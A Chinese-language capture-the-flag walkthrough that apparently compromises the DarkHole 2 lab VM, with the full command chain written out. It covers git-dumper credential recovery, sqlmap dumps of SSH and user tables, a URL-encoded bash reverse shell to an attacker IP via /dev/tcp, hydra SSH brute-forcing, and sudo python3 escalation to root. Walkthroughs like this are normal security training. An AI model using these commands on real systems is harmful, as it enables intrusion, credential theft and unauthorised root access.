一、信息收集
1、探测存活主机
arp-scan -l
2、nmap -T4 -A -v 192.168.219.176
发现目标开启80、22端口,并且80端口存在.git泄露
二、访问目标web服务
1、发现目标web有登录页面,无法弱口令,且前端有邮箱格式校验
2、访问.git目录,发现存在泄露。
A下载git-dump工具
创建并进入test目录,下载git-dump工具包
查看工具
因为此工具为py编写,所以要准备py环境
pip install -r requirements.txt
B利用git-dump工具下载目标代码到backup目录
python3 git_dumper.py http://192.168.219.176/.git/ backup
进入backup目录
a、查看修改历史,git log查看修改文件后形成的哈希值
b、查看修改内容
git diff
发现修改历史中有账号和密码,以及dashboard.php页面
username:lush@admin.com
password:321
三、进入网站后台
发现账号管理页面,可以修改账号信息
发现sql注入漏洞
BP抓包获取cookie值,用来跑sqlmap
爆出数据库
sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl
进一步爆表
sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 --tables
进一步爆ssh的列
sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T ssh --columns
进一步爆ssh列的数据
sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T ssh -C user,pass --dump
!!!获取到SSH用户密码!!!
user:jehad
pass:fool
爆破另一个表users的列
sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T users --columns
爆破users列的数据
sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T users -C username,password --dump
四、利用SSH远程登录目标靶机,并获得root权限。
ssh jehad@192.168.219.176
提权
查看内核是否有漏洞
uname -a
Linux darkhole 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
无漏洞
sudo -l
Sorry, user jehad may not run sudo on darkhole.(不可 sudo提权)
进行suid提权(不可)
find / -user root -perm -4000 -print 2>/dev/null
--------------计划任务提权-------------
cat /etc/crontab提权
发现有一个端口开启
发现有一个端口开启
losy cd /opt/web && php -S localhost:9999
进入对应目录,并查看文件
发现有php代码可以拿到cmd
利用curl工具
curl "http://localhost:9999?cmd=bash -c 'bash -i >& /dev/tcp/192.168.219.169/2345 0>&1'"
发现服务端没有回复
了解curl后发现可以对命令进行url编码来符合curl
bash -c 'bash -i >& /dev/tcp/192.168.219.169/2345 0>&1'
编码后
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%31%39%2e%31%36%39%2f%32%33%34%35%20%30%3e%26%31%27
反弹shell
kali监听:
nc -lvvp 2345
靶机:
curl "http://localhost:9999?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%31%39%2e%31%36%39%2f%32%33%34%35%20%30%3e%26%31%27"
获取losy用户权限
sudo -l (发现不能够使用sudo,因为没有losy密码)
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
方法一:想到爆破密码(一般不建议)
hydra -l losy -P pass4.txt ssh://192.168.219.176 -f
[22][ssh] host: 192.168.219.176 login: losy password: gang
方法二:josy用户退回到根目录查看所有文件(包括隐藏文件)
ls -al发现一个历史命令记录
cat .bash_history
获得用户密码losy:gang
SSH登录losy用户(sudo提权)
发现可以利用python3提权
sudo python3 -c "import pty;pty.spawn('/bin/bash')"
进入root用户,回到根目录